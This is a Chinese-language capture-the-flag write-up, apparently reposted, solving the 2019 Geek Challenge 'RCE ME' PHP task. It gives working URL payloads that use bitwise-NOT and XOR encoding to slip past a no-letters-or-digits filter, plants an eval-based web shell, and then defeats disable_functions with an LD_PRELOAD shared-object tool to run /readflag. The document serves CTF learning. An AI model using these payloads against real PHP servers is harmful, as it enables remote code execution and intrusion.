[極客大挑戰 2019]RCE ME


[極客大挑戰 2019]RCE ME

這道題不是很好做,我本人其實也不太會,有問題歡迎指出~
打開題目是這樣的
代碼的大概意思是GET方式獲取code,如果長度超過40 不執行,含有字母數字不執行,滿足條件就當做php執行並且不報錯

可以用異或或者取反繞過
參考:https://www.cnblogs.com/v01cano/p/11736722.html
異或繞過是指使用各種特殊字符的異或構造出字母和數字。取反繞過是對語句取反。
先查看phpinfo
payload:?code=(~%8F%97%8F%96%91%99%90)();
生成過程:

==》

即,對查詢語句取反,然后編碼。在編碼前加上~進行取反,括號沒有被過濾,不用取反。構造完的語句進行查詢:

成功繞過,查看phpinfo

這一些是被禁用的系統函數。
嘗試構造一個木馬

payload:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

連接到蟻劍上:

要讀取flag,需要先執行readflag,但是因為禁用了很多函數,沒有辦法執行命令,這時候需要繞過disable_functions.方法好像很多,有的用蟻劍的插件,有的劫持共享so,也有一些工具
這里用工具
地址https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
由於在/var/tmp目錄 有上傳權限,可以上傳bypass_disablefun_x64.so和bypass_disablefunc.php(重命名為shell.php),

然后需要構造一個新的payload:
根據“?code=${GET}_;&=assert&_=eval($_POST['a'])”
使用的是異或繞過,
最后的payload是

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

得到了flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM